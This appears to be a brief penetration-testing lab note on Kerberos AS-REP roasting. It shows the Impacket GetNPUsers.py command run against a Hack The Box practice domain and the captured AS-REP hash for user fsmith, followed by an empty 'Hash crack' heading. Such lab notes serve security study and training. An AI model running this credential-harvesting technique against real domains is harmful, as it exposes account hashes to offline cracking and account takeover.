Kerberos

Impacket - getNPUser

User Name Convention: https://0xss0rz.gitbook.io/0xss0rz/pentest-htb/windows-1/ldap#ad-user-naming-convention

root@Host-001:~/Bureau/impacket/examples# python GetNPUsers.py EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

Password:
[*] Cannot authenticate fsmith, getting its TGT
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:15191f42b4f60e9e30073ed33fc7777d$3a44b2be27d293953045a84d14cfd105fa62aad301c73090656ff9b175fd1660fc2270c0d2edbae92363e66c90d23e4383db2da2448671499c83df3d0a7d992a5823bcf3c78b6ec8c35c65fc8c6a8e5f4eb91109fd056b69b20e0dce03e4a16dac32554dca9ebfec923cf66b75f69d1b431615314cb628358e16bc6fa9aac57918456172aa856d6a9b1cd7701ddb36a850074358cc4b157dda3ded653f407cd6cf42dc8a4b962d64657cc0fe0487c50baa96246b71a4af6dcff556a726460a2532d0d91ca7d0e9364cf2990dc04653c8d4a378d19d4ef8b262f1c323da436016b037452af9b6398b488a3231fc66d1443c16859a01763e4954fece403ea69a2c

Hash crack

Sources

Last updated